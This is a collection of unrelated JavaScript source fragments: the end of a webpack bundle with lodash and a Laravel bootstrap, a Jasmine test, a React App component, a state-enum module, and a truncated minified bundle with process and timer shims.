* @returns {*} Returns the minimum value.
* @example
*
* var objects = [{ 'n': 1 }, { 'n': 2 }];
*
* _.minBy(objects, function(o) { return o.n; });
* // => { 'n': 1 }
*
* // The `_.property` iteratee shorthand.
* _.minBy(objects, 'n');
* // => { 'n': 1 }
*/
function minBy(array, iteratee) {
return (array && array.length)
? baseExtremum(array, getIteratee(iteratee, 2), baseLt)
: undefined;
}
/**
* Multiply two numbers.
*
* @static
* @memberOf _
* @since 4.7.0
* @category Math
* @param {number} multiplier The first number in a multiplication.
* @param {number} multiplicand The second number in a multiplication.
* @returns {number} Returns the product.
* @example
*
* _.multiply(6, 4);
* // => 24
*/
var multiply = createMathOperation(function(multiplier, multiplicand) {
return multiplier * multiplicand;
}, 1);
/**
* Computes `number` rounded to `precision`.
*
* @static
* @memberOf _
* @since 3.10.0
* @category Math
* @param {number} number The number to round.
* @param {number} [precision=0] The precision to round to.
* @returns {number} Returns the rounded number.
* @example
*
* _.round(4.006);
* // => 4
*
* _.round(4.006, 2);
* // => 4.01
*
* _.round(4060, -2);
* // => 4100
*/
var round = createRound('round');
/**
* Subtract two numbers.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Math
* @param {number} minuend The first number in a subtraction.
* @param {number} subtrahend The second number in a subtraction.
* @returns {number} Returns the difference.
* @example
*
* _.subtract(6, 4);
* // => 2
*/
var subtract = createMathOperation(function(minuend, subtrahend) {
return minuend - subtrahend;
}, 0);
/**
* Computes the sum of the values in `array`.
*
* @static
* @memberOf _
* @since 3.4.0
* @category Math
* @param {Array} array The array to iterate over.
* @returns {number} Returns the sum.
* @example
*
* _.sum([4, 2, 8, 6]);
* // => 20
*/
function sum(array) {
return (array && array.length)
? baseSum(array, identity)
: 0;
}
/**
* This method is like `_.sum` except that it accepts `iteratee` which is
* invoked for each element in `array` to generate the value to be summed.
* The iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Math
* @param {Array} array The array to iterate over.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {number} Returns the sum.
* @example
*
* var objects = [{ 'n': 4 }, { 'n': 2 }, { 'n': 8 }, { 'n': 6 }];
*
* _.sumBy(objects, function(o) { return o.n; });
* // => 20
*
* // The `_.property` iteratee shorthand.
* _.sumBy(objects, 'n');
* // => 20
*/
function sumBy(array, iteratee) {
return (array && array.length)
? baseSum(array, getIteratee(iteratee, 2))
: 0;
}
/*------------------------------------------------------------------------*/
// Add methods that return wrapped values in chain sequences.
lodash.after = after;
lodash.ary = ary;
lodash.assign = assign;
lodash.assignIn = assignIn;
lodash.assignInWith = assignInWith;
lodash.assignWith = assignWith;
lodash.at = at;
lodash.before = before;
lodash.bind = bind;
lodash.bindAll = bindAll;
lodash.bindKey = bindKey;
lodash.castArray = castArray;
lodash.chain = chain;
lodash.chunk = chunk;
lodash.compact = compact;
lodash.concat = concat;
lodash.cond = cond;
lodash.conforms = conforms;
lodash.constant = constant;
lodash.countBy = countBy;
lodash.create = create;
lodash.curry = curry;
lodash.curryRight = curryRight;
lodash.debounce = debounce;
lodash.defaults = defaults;
lodash.defaultsDeep = defaultsDeep;
lodash.defer = defer;
lodash.delay = delay;
lodash.difference = difference;
lodash.differenceBy = differenceBy;
lodash.differenceWith = differenceWith;
lodash.drop = drop;
lodash.dropRight = dropRight;
lodash.dropRightWhile = dropRightWhile;
lodash.dropWhile = dropWhile;
lodash.fill = fill;
lodash.filter = filter;
lodash.flatMap = flatMap;
lodash.flatMapDeep = flatMapDeep;
lodash.flatMapDepth = flatMapDepth;
lodash.flatten = flatten;
lodash.flattenDeep = flattenDeep;
lodash.flattenDepth = flattenDepth;
lodash.flip = flip;
lodash.flow = flow;
lodash.flowRight = flowRight;
lodash.fromPairs = fromPairs;
lodash.functions = functions;
lodash.functionsIn = functionsIn;
lodash.groupBy = groupBy;
lodash.initial = initial;
lodash.intersection = intersection;
lodash.intersectionBy = intersectionBy;
lodash.intersectionWith = intersectionWith;
lodash.invert = invert;
lodash.invertBy = invertBy;
lodash.invokeMap = invokeMap;
lodash.iteratee = iteratee;
lodash.keyBy = keyBy;
lodash.keys = keys;
lodash.keysIn = keysIn;
lodash.map = map;
lodash.mapKeys = mapKeys;
lodash.mapValues = mapValues;
lodash.matches = matches;
lodash.matchesProperty = matchesProperty;
lodash.memoize = memoize;
lodash.merge = merge;
lodash.mergeWith = mergeWith;
lodash.method = method;
lodash.methodOf = methodOf;
lodash.mixin = mixin;
lodash.negate = negate;
lodash.nthArg = nthArg;
lodash.omit = omit;
lodash.omitBy = omitBy;
lodash.once = once;
lodash.orderBy = orderBy;
lodash.over = over;
lodash.overArgs = overArgs;
lodash.overEvery = overEvery;
lodash.overSome = overSome;
lodash.partial = partial;
lodash.partialRight = partialRight;
lodash.partition = partition;
lodash.pick = pick;
lodash.pickBy = pickBy;
lodash.property = property;
lodash.propertyOf = propertyOf;
lodash.pull = pull;
lodash.pullAll = pullAll;
lodash.pullAllBy = pullAllBy;
lodash.pullAllWith = pullAllWith;
lodash.pullAt = pullAt;
lodash.range = range;
lodash.rangeRight = rangeRight;
lodash.rearg = rearg;
lodash.reject = reject;
lodash.remove = remove;
lodash.rest = rest;
lodash.reverse = reverse;
lodash.sampleSize = sampleSize;
lodash.set = set;
lodash.setWith = setWith;
lodash.shuffle = shuffle;
lodash.slice = slice;
lodash.sortBy = sortBy;
lodash.sortedUniq = sortedUniq;
lodash.sortedUniqBy = sortedUniqBy;
lodash.split = split;
lodash.spread = spread;
lodash.tail = tail;
lodash.take = take;
lodash.takeRight = takeRight;
lodash.takeRightWhile = takeRightWhile;
lodash.takeWhile = takeWhile;
lodash.tap = tap;
lodash.throttle = throttle;
lodash.thru = thru;
lodash.toArray = toArray;
lodash.toPairs = toPairs;
lodash.toPairsIn = toPairsIn;
lodash.toPath = toPath;
lodash.toPlainObject = toPlainObject;
lodash.transform = transform;
lodash.unary = unary;
lodash.union = union;
lodash.unionBy = unionBy;
lodash.unionWith = unionWith;
lodash.uniq = uniq;
lodash.uniqBy = uniqBy;
lodash.uniqWith = uniqWith;
lodash.unset = unset;
lodash.unzip = unzip;
lodash.unzipWith = unzipWith;
lodash.update = update;
lodash.updateWith = updateWith;
lodash.values = values;
lodash.valuesIn = valuesIn;
lodash.without = without;
lodash.words = words;
lodash.wrap = wrap;
lodash.xor = xor;
lodash.xorBy = xorBy;
lodash.xorWith = xorWith;
lodash.zip = zip;
lodash.zipObject = zipObject;
lodash.zipObjectDeep = zipObjectDeep;
lodash.zipWith = zipWith;
// Add aliases.
lodash.entries = toPairs;
lodash.entriesIn = toPairsIn;
lodash.extend = assignIn;
lodash.extendWith = assignInWith;
// Add methods to `lodash.prototype`.
mixin(lodash, lodash);
/*------------------------------------------------------------------------*/
// Add methods that return unwrapped values in chain sequences.
lodash.add = add;
lodash.attempt = attempt;
lodash.camelCase = camelCase;
lodash.capitalize = capitalize;
lodash.ceil = ceil;
lodash.clamp = clamp;
lodash.clone = clone;
lodash.cloneDeep = cloneDeep;
lodash.cloneDeepWith = cloneDeepWith;
lodash.cloneWith = cloneWith;
lodash.conformsTo = conformsTo;
lodash.deburr = deburr;
lodash.defaultTo = defaultTo;
lodash.divide = divide;
lodash.endsWith = endsWith;
lodash.eq = eq;
lodash.escape = escape;
lodash.escapeRegExp = escapeRegExp;
lodash.every = every;
lodash.find = find;
lodash.findIndex = findIndex;
lodash.findKey = findKey;
lodash.findLast = findLast;
lodash.findLastIndex = findLastIndex;
lodash.findLastKey = findLastKey;
lodash.floor = floor;
lodash.forEach = forEach;
lodash.forEachRight = forEachRight;
lodash.forIn = forIn;
lodash.forInRight = forInRight;
lodash.forOwn = forOwn;
lodash.forOwnRight = forOwnRight;
lodash.get = get;
lodash.gt = gt;
lodash.gte = gte;
lodash.has = has;
lodash.hasIn = hasIn;
lodash.head = head;
lodash.identity = identity;
lodash.includes = includes;
lodash.indexOf = indexOf;
lodash.inRange = inRange;
lodash.invoke = invoke;
lodash.isArguments = isArguments;
lodash.isArray = isArray;
lodash.isArrayBuffer = isArrayBuffer;
lodash.isArrayLike = isArrayLike;
lodash.isArrayLikeObject = isArrayLikeObject;
lodash.isBoolean = isBoolean;
lodash.isBuffer = isBuffer;
lodash.isDate = isDate;
lodash.isElement = isElement;
lodash.isEmpty = isEmpty;
lodash.isEqual = isEqual;
lodash.isEqualWith = isEqualWith;
lodash.isError = isError;
lodash.isFinite = isFinite;
lodash.isFunction = isFunction;
lodash.isInteger = isInteger;
lodash.isLength = isLength;
lodash.isMap = isMap;
lodash.isMatch = isMatch;
lodash.isMatchWith = isMatchWith;
lodash.isNaN = isNaN;
lodash.isNative = isNative;
lodash.isNil = isNil;
lodash.isNull = isNull;
lodash.isNumber = isNumber;
lodash.isObject = isObject;
lodash.isObjectLike = isObjectLike;
lodash.isPlainObject = isPlainObject;
lodash.isRegExp = isRegExp;
lodash.isSafeInteger = isSafeInteger;
lodash.isSet = isSet;
lodash.isString = isString;
lodash.isSymbol = isSymbol;
lodash.isTypedArray = isTypedArray;
lodash.isUndefined = isUndefined;
lodash.isWeakMap = isWeakMap;
lodash.isWeakSet = isWeakSet;
lodash.join = join;
lodash.kebabCase = kebabCase;
lodash.last = last;
lodash.lastIndexOf = lastIndexOf;
lodash.lowerCase = lowerCase;
lodash.lowerFirst = lowerFirst;
lodash.lt = lt;
lodash.lte = lte;
lodash.max = max;
lodash.maxBy = maxBy;
lodash.mean = mean;
lodash.meanBy = meanBy;
lodash.min = min;
lodash.minBy = minBy;
lodash.stubArray = stubArray;
lodash.stubFalse = stubFalse;
lodash.stubObject = stubObject;
lodash.stubString = stubString;
lodash.stubTrue = stubTrue;
lodash.multiply = multiply;
lodash.nth = nth;
lodash.noConflict = noConflict;
lodash.noop = noop;
lodash.now = now;
lodash.pad = pad;
lodash.padEnd = padEnd;
lodash.padStart = padStart;
lodash.parseInt = parseInt;
lodash.random = random;
lodash.reduce = reduce;
lodash.reduceRight = reduceRight;
lodash.repeat = repeat;
lodash.replace = replace;
lodash.result = result;
lodash.round = round;
lodash.runInContext = runInContext;
lodash.sample = sample;
lodash.size = size;
lodash.snakeCase = snakeCase;
lodash.some = some;
lodash.sortedIndex = sortedIndex;
lodash.sortedIndexBy = sortedIndexBy;
lodash.sortedIndexOf = sortedIndexOf;
lodash.sortedLastIndex = sortedLastIndex;
lodash.sortedLastIndexBy = sortedLastIndexBy;
lodash.sortedLastIndexOf = sortedLastIndexOf;
lodash.startCase = startCase;
lodash.startsWith = startsWith;
lodash.subtract = subtract;
lodash.sum = sum;
lodash.sumBy = sumBy;
lodash.template = template;
lodash.times = times;
lodash.toFinite = toFinite;
lodash.toInteger = toInteger;
lodash.toLength = toLength;
lodash.toLower = toLower;
lodash.toNumber = toNumber;
lodash.toSafeInteger = toSafeInteger;
lodash.toString = toString;
lodash.toUpper = toUpper;
lodash.trim = trim;
lodash.trimEnd = trimEnd;
lodash.trimStart = trimStart;
lodash.truncate = truncate;
lodash.unescape = unescape;
lodash.uniqueId = uniqueId;
lodash.upperCase = upperCase;
lodash.upperFirst = upperFirst;
// Add aliases.
lodash.each = forEach;
lodash.eachRight = forEachRight;
lodash.first = head;
mixin(lodash, (function() {
var source = {};
baseForOwn(lodash, function(func, methodName) {
if (!hasOwnProperty.call(lodash.prototype, methodName)) {
source[methodName] = func;
}
});
return source;
}()), { 'chain': false });
/*------------------------------------------------------------------------*/
/**
* The semantic version number.
*
* @static
* @memberOf _
* @type {string}
*/
lodash.VERSION = VERSION;
// Assign default placeholders.
arrayEach(['bind', 'bindKey', 'curry', 'curryRight', 'partial', 'partialRight'], function(methodName) {
lodash[methodName].placeholder = lodash;
});
// Add `LazyWrapper` methods for `_.drop` and `_.take` variants.
arrayEach(['drop', 'take'], function(methodName, index) {
LazyWrapper.prototype[methodName] = function(n) {
n = n === undefined ? 1 : nativeMax(toInteger(n), 0);
var result = (this.__filtered__ && !index)
? new LazyWrapper(this)
: this.clone();
if (result.__filtered__) {
result.__takeCount__ = nativeMin(n, result.__takeCount__);
} else {
result.__views__.push({
'size': nativeMin(n, MAX_ARRAY_LENGTH),
'type': methodName + (result.__dir__ < 0 ? 'Right' : '')
});
}
return result;
};
LazyWrapper.prototype[methodName + 'Right'] = function(n) {
return this.reverse()[methodName](n).reverse();
};
});
// Add `LazyWrapper` methods that accept an `iteratee` value.
arrayEach(['filter', 'map', 'takeWhile'], function(methodName, index) {
var type = index + 1,
isFilter = type == LAZY_FILTER_FLAG || type == LAZY_WHILE_FLAG;
LazyWrapper.prototype[methodName] = function(iteratee) {
var result = this.clone();
result.__iteratees__.push({
'iteratee': getIteratee(iteratee, 3),
'type': type
});
result.__filtered__ = result.__filtered__ || isFilter;
return result;
};
});
// Add `LazyWrapper` methods for `_.head` and `_.last`.
arrayEach(['head', 'last'], function(methodName, index) {
var takeName = 'take' + (index ? 'Right' : '');
LazyWrapper.prototype[methodName] = function() {
return this[takeName](1).value()[0];
};
});
// Add `LazyWrapper` methods for `_.initial` and `_.tail`.
arrayEach(['initial', 'tail'], function(methodName, index) {
var dropName = 'drop' + (index ? '' : 'Right');
LazyWrapper.prototype[methodName] = function() {
return this.__filtered__ ? new LazyWrapper(this) : this[dropName](1);
};
});
LazyWrapper.prototype.compact = function() {
return this.filter(identity);
};
LazyWrapper.prototype.find = function(predicate) {
return this.filter(predicate).head();
};
LazyWrapper.prototype.findLast = function(predicate) {
return this.reverse().find(predicate);
};
LazyWrapper.prototype.invokeMap = baseRest(function(path, args) {
if (typeof path == 'function') {
return new LazyWrapper(this);
}
return this.map(function(value) {
return baseInvoke(value, path, args);
});
});
LazyWrapper.prototype.reject = function(predicate) {
return this.filter(negate(getIteratee(predicate)));
};
LazyWrapper.prototype.slice = function(start, end) {
start = toInteger(start);
var result = this;
if (result.__filtered__ && (start > 0 || end < 0)) {
return new LazyWrapper(result);
}
if (start < 0) {
result = result.takeRight(-start);
} else if (start) {
result = result.drop(start);
}
if (end !== undefined) {
end = toInteger(end);
result = end < 0 ? result.dropRight(-end) : result.take(end - start);
}
return result;
};
LazyWrapper.prototype.takeRightWhile = function(predicate) {
return this.reverse().takeWhile(predicate).reverse();
};
LazyWrapper.prototype.toArray = function() {
return this.take(MAX_ARRAY_LENGTH);
};
// Add `LazyWrapper` methods to `lodash.prototype`.
baseForOwn(LazyWrapper.prototype, function(func, methodName) {
var checkIteratee = /^(?:filter|find|map|reject)|While$/.test(methodName),
isTaker = /^(?:head|last)$/.test(methodName),
lodashFunc = lodash[isTaker ? ('take' + (methodName == 'last' ? 'Right' : '')) : methodName],
retUnwrapped = isTaker || /^find/.test(methodName);
if (!lodashFunc) {
return;
}
lodash.prototype[methodName] = function() {
var value = this.__wrapped__,
args = isTaker ? [1] : arguments,
isLazy = value instanceof LazyWrapper,
iteratee = args[0],
useLazy = isLazy || isArray(value);
var interceptor = function(value) {
var result = lodashFunc.apply(lodash, arrayPush([value], args));
return (isTaker && chainAll) ? result[0] : result;
};
if (useLazy && checkIteratee && typeof iteratee == 'function' && iteratee.length != 1) {
// Avoid lazy use if the iteratee has a "length" value other than `1`.
isLazy = useLazy = false;
}
var chainAll = this.__chain__,
isHybrid = !!this.__actions__.length,
isUnwrapped = retUnwrapped && !chainAll,
onlyLazy = isLazy && !isHybrid;
if (!retUnwrapped && useLazy) {
value = onlyLazy ? value : new LazyWrapper(this);
var result = func.apply(value, args);
result.__actions__.push({ 'func': thru, 'args': [interceptor], 'thisArg': undefined });
return new LodashWrapper(result, chainAll);
}
if (isUnwrapped && onlyLazy) {
return func.apply(this, args);
}
result = this.thru(interceptor);
return isUnwrapped ? (isTaker ? result.value()[0] : result.value()) : result;
};
});
// Add `Array` methods to `lodash.prototype`.
arrayEach(['pop', 'push', 'shift', 'sort', 'splice', 'unshift'], function(methodName) {
var func = arrayProto[methodName],
chainName = /^(?:push|sort|unshift)$/.test(methodName) ? 'tap' : 'thru',
retUnwrapped = /^(?:pop|shift)$/.test(methodName);
lodash.prototype[methodName] = function() {
var args = arguments;
if (retUnwrapped && !this.__chain__) {
var value = this.value();
return func.apply(isArray(value) ? value : [], args);
}
return this[chainName](function(value) {
return func.apply(isArray(value) ? value : [], args);
});
};
});
// Map minified method names to their real names.
baseForOwn(LazyWrapper.prototype, function(func, methodName) {
var lodashFunc = lodash[methodName];
if (lodashFunc) {
var key = lodashFunc.name + '';
if (!hasOwnProperty.call(realNames, key)) {
realNames[key] = [];
}
realNames[key].push({ 'name': methodName, 'func': lodashFunc });
}
});
realNames[createHybrid(undefined, WRAP_BIND_KEY_FLAG).name] = [{
'name': 'wrapper',
'func': undefined
}];
// Add methods to `LazyWrapper`.
LazyWrapper.prototype.clone = lazyClone;
LazyWrapper.prototype.reverse = lazyReverse;
LazyWrapper.prototype.value = lazyValue;
// Add chain sequence methods to the `lodash` wrapper.
lodash.prototype.at = wrapperAt;
lodash.prototype.chain = wrapperChain;
lodash.prototype.commit = wrapperCommit;
lodash.prototype.next = wrapperNext;
lodash.prototype.plant = wrapperPlant;
lodash.prototype.reverse = wrapperReverse;
lodash.prototype.toJSON = lodash.prototype.valueOf = lodash.prototype.value = wrapperValue;
// Add lazy aliases.
lodash.prototype.first = lodash.prototype.head;
if (symIterator) {
lodash.prototype[symIterator] = wrapperToIterator;
}
return lodash;
});
/*--------------------------------------------------------------------------*/
// Export lodash.
var _ = runInContext();
// Some AMD build optimizers, like r.js, check for condition patterns like:
if (true) {
// Expose Lodash on the global object to prevent errors when Lodash is
// loaded by a script tag in the presence of an AMD loader.
// See http://requirejs.org/docs/errors.html#mismatch for more details.
// Use `_.noConflict` to remove Lodash from the global object.
root._ = _;
// Define as an anonymous module so, through path mapping, it can be
// referenced as the "underscore" module.
!(__WEBPACK_AMD_DEFINE_RESULT__ = (function() {
return _;
}).call(exports, __webpack_require__, exports, module),
__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
}
// Check for `exports` after `define` in case a build optimizer adds it.
else {}
}.call(this));
/* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js"), __webpack_require__(/*! ./../webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module)))
/***/ }),
/***/ "./node_modules/process/browser.js":
/*!*****************************************!*\
!*** ./node_modules/process/browser.js ***!
\*****************************************/
/*! no static exports found */
/***/ (function(module, exports) {
// shim for using process in browser
var process = module.exports = {};
// cached from whatever global is present so that test runners that stub it
// don't break things. But we need to wrap it in a try catch in case it is
// wrapped in strict mode code which doesn't define any globals. It's inside a
// function because try/catches deoptimize in certain engines.
var cachedSetTimeout;
var cachedClearTimeout;
function defaultSetTimout() {
throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
throw new Error('clearTimeout has not been defined');
}
(function () {
try {
if (typeof setTimeout === 'function') {
cachedSetTimeout = setTimeout;
} else {
cachedSetTimeout = defaultSetTimout;
}
} catch (e) {
cachedSetTimeout = defaultSetTimout;
}
try {
if (typeof clearTimeout === 'function') {
cachedClearTimeout = clearTimeout;
} else {
cachedClearTimeout = defaultClearTimeout;
}
} catch (e) {
cachedClearTimeout = defaultClearTimeout;
}
} ())
function runTimeout(fun) {
if (cachedSetTimeout === setTimeout) {
//normal enviroments in sane situations
return setTimeout(fun, 0);
}
// if setTimeout wasn't available but was latter defined
if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
cachedSetTimeout = setTimeout;
return setTimeout(fun, 0);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedSetTimeout(fun, 0);
} catch(e){
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedSetTimeout.call(null, fun, 0);
} catch(e){
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error
return cachedSetTimeout.call(this, fun, 0);
}
}
}
function runClearTimeout(marker) {
if (cachedClearTimeout === clearTimeout) {
//normal enviroments in sane situations
return clearTimeout(marker);
}
// if clearTimeout wasn't available but was latter defined
if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
cachedClearTimeout = clearTimeout;
return clearTimeout(marker);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedClearTimeout(marker);
} catch (e){
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedClearTimeout.call(null, marker);
} catch (e){
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.
// Some versions of I.E. have different rules for clearTimeout vs setTimeout
return cachedClearTimeout.call(this, marker);
}
}
}
var queue = [];
var draining = false;
var currentQueue;
var queueIndex = -1;
function cleanUpNextTick() {
if (!draining || !currentQueue) {
return;
}
draining = false;
if (currentQueue.length) {
queue = currentQueue.concat(queue);
} else {
queueIndex = -1;
}
if (queue.length) {
drainQueue();
}
}
function drainQueue() {
if (draining) {
return;
}
var timeout = runTimeout(cleanUpNextTick);
draining = true;
var len = queue.length;
while(len) {
currentQueue = queue;
queue = [];
while (++queueIndex < len) {
if (currentQueue) {
currentQueue[queueIndex].run();
}
}
queueIndex = -1;
len = queue.length;
}
currentQueue = null;
draining = false;
runClearTimeout(timeout);
}
process.nextTick = function (fun) {
var args = new Array(arguments.length - 1);
if (arguments.length > 1) {
for (var i = 1; i < arguments.length; i++) {
args[i - 1] = arguments[i];
}
}
queue.push(new Item(fun, args));
if (queue.length === 1 && !draining) {
runTimeout(drainQueue);
}
};
// v8 likes predictible objects
function Item(fun, array) {
this.fun = fun;
this.array = array;
}
Item.prototype.run = function () {
this.fun.apply(null, this.array);
};
process.title = 'browser';
process.browser = true;
process.env = {};
process.argv = [];
process.version = ''; // empty string to avoid regexp issues
process.versions = {};
function noop() {}
process.on = noop;
process.addListener = noop;
process.once = noop;
process.off = noop;
process.removeListener = noop;
process.removeAllListeners = noop;
process.emit = noop;
process.prependListener = noop;
process.prependOnceListener = noop;
process.listeners = function (name) { return [] }
process.binding = function (name) {
throw new Error('process.binding is not supported');
};
process.cwd = function () { return '/' };
process.chdir = function (dir) {
throw new Error('process.chdir is not supported');
};
process.umask = function() { return 0; };
/***/ }),
/***/ "./node_modules/webpack/buildin/global.js":
/*!***********************************!*\
!*** (webpack)/buildin/global.js ***!
\***********************************/
/*! no static exports found */
/***/ (function(module, exports) {
var g;
// This works in non-strict mode
g = (function() {
return this;
})();
try {
// This works if eval is allowed (see CSP)
g = g || new Function("return this")();
} catch (e) {
// This works if the window reference is available
if (typeof window === "object") g = window;
}
// g can still be undefined, but nothing to do about it...
// We return undefined, instead of nothing here, so it's
// easier to handle this case. if(!global) { ...}
module.exports = g;
/***/ }),
/***/ "./node_modules/webpack/buildin/module.js":
/*!***********************************!*\
!*** (webpack)/buildin/module.js ***!
\***********************************/
/*! no static exports found */
/***/ (function(module, exports) {
module.exports = function(module) {
if (!module.webpackPolyfill) {
module.deprecate = function() {};
module.paths = [];
// module.parent = undefined by default
if (!module.children) module.children = [];
Object.defineProperty(module, "loaded", {
enumerable: true,
get: function() {
return module.l;
}
});
Object.defineProperty(module, "id", {
enumerable: true,
get: function() {
return module.i;
}
});
module.webpackPolyfill = 1;
}
return module;
};
/***/ }),
/***/ "./resources/js/app.js":
/*!*****************************!*\
!*** ./resources/js/app.js ***!
\*****************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
__webpack_require__(/*! ./bootstrap */ "./resources/js/bootstrap.js");
/***/ }),
/***/ "./resources/js/bootstrap.js":
/*!***********************************!*\
!*** ./resources/js/bootstrap.js ***!
\***********************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
window._ = __webpack_require__(/*! lodash */ "./node_modules/lodash/lodash.js");
/**
* We'll load the axios HTTP library which allows us to easily issue requests
* to our Laravel back-end. This library automatically handles sending the
* CSRF token as a header based on the value of the "XSRF" token cookie.
*/
window.axios = __webpack_require__(/*! axios */ "./node_modules/axios/index.js");
window.axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
/**
* Echo exposes an expressive API for subscribing to channels and listening
* for events that are broadcast by Laravel. Echo and event broadcasting
* allows your team to easily build robust real-time web applications.
*/
// import Echo from 'laravel-echo';
// window.Pusher = require('pusher-js');
// window.Echo = new Echo({
// broadcaster: 'pusher',
// key: process.env.MIX_PUSHER_APP_KEY,
// cluster: process.env.MIX_PUSHER_APP_CLUSTER,
// forceTLS: true
// });
/***/ }),
/***/ "./resources/sass/app.scss":
/*!*********************************!*\
!*** ./resources/sass/app.scss ***!
\*********************************/
/*! no static exports found */
/***/ (function(module, exports) {
// removed by extract-text-webpack-plugin
/***/ }),
/***/ 0:
/*!*************************************************************!*\
!*** multi ./resources/js/app.js ./resources/sass/app.scss ***!
\*************************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
__webpack_require__(/*! /Users/matteoiorio/Documents/BOOLEAN/boolean-corso/esercitazioni_boolean/progetti_backend/laravel-comics/resources/js/app.js */"./resources/js/app.js");
module.exports = __webpack_require__(/*! /Users/matteoiorio/Documents/BOOLEAN/boolean-corso/esercitazioni_boolean/progetti_backend/laravel-comics/resources/sass/app.scss */"./resources/sass/app.scss");
/***/ })
/******/ });
|
describe('A chosen module', function () {
'use strict'
var chosen
var element
beforeEach(function () {
element = $('<div></div>')
chosen = new GOVUKAdmin.Modules.Chosen()
})
it('creates a chosen select box when it starts', function () {
spyOn(element, 'chosen')
chosen.start(element)
expect(element.chosen).toHaveBeenCalled()
})
})
|
import React, {Component} from 'react'
import Menu from './nav/Menu'
import Routes from './nav/Routes'
import {AppBar} from 'material-ui'
import {textAlignCenter} from './style/commonStyles'
class App extends Component {
render() {
return (
<div>
<header style={textAlignCenter}>
<AppBar showMenuIconButton={false} title='Welcome to View Jobs'/>
</header>
<nav style={textAlignCenter}>
<Menu/>
</nav>
<Routes/>
</div>
);
}
}
export default App;
|
const RFI_STATE = ['PENDING', 'MERGED', 'REJECTED', 'CANCELLED'].reduce((state, key, index) => {
state[key] = index
return state
}, {})
const RFL_STATE = ['PENDING', 'ACCEPTED', 'ISSUED', 'REJECTED', 'CANCELLED', ].reduce((state, key, index) => {
state[key] = index
return state
}, {})
module.exports = { RFI_STATE, RFL_STATE}
|
!function(t){var e={};function n(i){if(e[i])return e[i].exports;var o=e[i]={i:i,l:!1,exports:{}};return t[i].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=e,n.d=function(t,e,i){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:i})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(i,o,function(e){return t[e]}.bind(null,o));return i},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="./",n(n.s="sWCw")}({"8oxB":function(t,e){var n,i,o=t.exports={};function r(){throw new Error("setTimeout has not been defined")}function s(){throw new Error("clearTimeout has not been defined")}function a(t){if(n===setTimeout)return setTimeout(t,0);if((n===r||!n)&&setTimeout)return n=setTimeout,setTimeout(t,0);try{return n(t,0)}catch(e){try{return n.call(null,t,0)}catch(e){return n.call(this,t,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:r}catch(t){n=r}try{i="function"==typeof clearTimeout?clearTimeout:s}catch(t){i=s}}();var u,c=[],l=!1,h=-1;function p(){l&&u&&(l=!1,u.length?c=u.concat(c):h=-1,c.length&&d())}function d(){if(!l){var t=a(p);l=!0;for(var e=c.length;e;){for(u=c,c=[];++h<e;)u&&u[h].run();h=-1,e=c.length}u=null,l=!1,function(t){if(i===clearTimeout)return clearTimeout(t);if((i===s||!i)&&clearTimeout)return i=clearTimeout,clearTimeout(t);try{i(t)}catch(e){try{return i.call(null,t)}catch(e){return i.call(this,t)}}}(t)}}function f(t,e){this.fun=t,this.array=e}function g(){}o.nextTick=function(t){var e=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)e[n-1]=arguments[n];c.push(new f(t,e)),1!==c.length||l||a(d)},f.prototype.run=function(){this.fun.apply(null,this.array)},o.title="browser",o.browser=!0,o.env={},o.argv=[],o.version="",o.versions={},o.on=g,o.addListener=g,o.once=g,o.off=g,o.removeListener=g,o.removeAllListeners=g,o.emit=g,o.prependListener=g,o.prependOnceListener=g,o.listeners=function(t){return[]},o.binding=function(t){throw new Error("process.binding is not supported")},o.cwd=function(){return"/"},o.chdir=function(t){throw new Error("process.chdir is not supported")},o.umask=function(){return 0}},URgk:function(t,e,n){(function(t){var i=void 0!==t&&t||"undefined"!=typeof self&&self||window,o=Function.prototype.apply;function r(t,e){this._id=t,this._clearFn=e}e.setTimeout=function(){return new r(o.call(setTimeout,i,arguments),clearTimeout)},e.setInterval=function(){return new r(o.call(setInterval,i,arguments),clearInterval)},e.clearTimeout=e.clearInterval=function(t){t&&t.close()},r.prototype.unref=r.prototype.ref=function(){},r.prototype.close=function(){this._clearFn.call(i,this._id)},e.enroll=function(t,e){clearTimeout(t._idleTimeoutId),t._idleTimeout=e},e.unenroll=function(t){clearTimeout(t._idleTimeoutId),t._idleTimeout=-1},e._unrefActive=e.active=function(t){clearTimeout(t._idleTimeoutId);var 